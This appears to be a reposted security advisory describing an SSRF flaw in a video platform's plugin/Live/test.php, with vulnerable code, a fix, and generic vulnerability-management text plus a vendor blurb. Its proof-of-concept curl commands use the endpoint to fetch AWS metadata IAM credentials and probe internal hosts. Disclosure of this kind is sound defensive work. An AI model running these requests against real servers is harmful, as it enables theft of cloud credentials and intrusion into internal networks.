The plugin/Live/test.php endpoint accepts a URL via the statsURL parameter and fetches it server-side using file_get_contents(), curl_exec(), or wget, returning the full response content in the HTML output. The only validation is a trivial regex (/^http/) that does not block requests to internal/private IP ranges or cloud metadata endpoints. The codebase provides isSSRFSafeURL() which blocks private IPs and resolves DNS to prevent rebinding, but this endpoint does not call it. An authenticated admin can read responses from cloud metadata services, internal network services, and localhost endpoints.
The vulnerable code path is in plugin/Live/test.php:
User input (line 11):
$statsURL = $_REQUEST['statsURL'];
if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) {
_log('this is not a URL ');
exit;
}
The regex /^http/ only verifies the URL starts with "http" — it does not validate the host, resolve DNS, or check against private/reserved IP ranges.
Sink — file_get_contents (line 58-68):
if (ini_get('allow_url_fopen')) {
try {
$tmp = file_get_contents($url, false, $context);
_log('file_get_contents:: '.htmlentities($tmp));
Sink — curl_exec (line 73-94):
} elseif (function_exists('curl_init')) {
$ch = curl_init();
// ...
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
// ...
$output = curl_exec($ch);
// ...
_log('curl_init:: '.htmlentities($output));
Sink — wget (line 114):
if (wget($url, $filename)) {
$result = file_get_contents($filename);
_log('wget:: '.htmlentities($result));
All three code paths output the full response content to the user via _log(), which echoes to the HTML response (line 155-160).
The codebase provides isSSRFSafeURL() at objects/functions.php:4025 which validates URL scheme, resolves DNS hostnames to IP addresses, and blocks private/reserved IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, and IPv6 equivalents). This function is used in 7 other endpoints including the previously-reported objects/aVideoEncoder.json.php, but plugin/Live/test.php does not call it.
Additionally, SSL certificate verification is disabled on both the file_get_contents stream context (lines 45-49) and the curl handler (lines 79-80), allowing MITM attacks against HTTPS targets.
The endpoint also lacks CSRF token validation while accepting GET requests via $_REQUEST, making it susceptible to cross-site request forgery against authenticated admins, although the CSRF-triggered variant is blind (attacker cannot read the response cross-origin).
Step 1: Authenticate as admin and obtain session cookie
# Login to obtain PHPSESSID
PHPSESSID=$(curl -s -c - 'https://target.com/objects/userLogin.json.php' \
-d 'user=admin&pass=adminpass' | grep PHPSESSID | awk '{print $7}')
Step 2: Read AWS cloud metadata (IAM credentials)
curl -b "PHPSESSID=${PHPSESSID}" \
'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
Expected output: HTML page containing the full cloud metadata response including IAM role names.
Step 3: Read IAM credentials for a specific role
curl -b "PHPSESSID=${PHPSESSID}" \
'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole'
Expected output: JSON containing AccessKeyId, SecretAccessKey, and Token for the IAM role.
Step 4: Scan internal services
curl -b "PHPSESSID=${PHPSESSID}" \
'https://target.com/plugin/Live/test.php?statsURL=http://192.168.1.1:8080/'
Expected output: Full response from internal service at 192.168.1.1:8080.
An authenticated admin can:
The full response disclosure (not blind) makes this a high-confidentiality-impact finding. The admin authentication requirement limits the attack surface but does not eliminate it — compromised admin accounts, insider threats, and the lack of CSRF protection all provide attack vectors.
Add isSSRFSafeURL() validation before fetching the URL. In plugin/Live/test.php, after line 15:
$statsURL = $_REQUEST['statsURL'];
if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) {
_log('this is not a URL ');
exit;
}
// Add SSRF protection
if (!isSSRFSafeURL($statsURL)) {
_log('URL failed SSRF safety check: ' . htmlentities($statsURL));
exit;
}
Additionally, enable SSL verification in the curl handler (lines 79-80):
// Replace:
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
// With:
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
And in the stream context (lines 45-49):
// Replace:
"ssl" => [
"verify_peer" => false,
"verify_peer_name" => false,
"allow_self_signed" => true,
],
// With:
"ssl" => [
"verify_peer" => true,
"verify_peer_name" => true,
"allow_self_signed" => false,
],
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.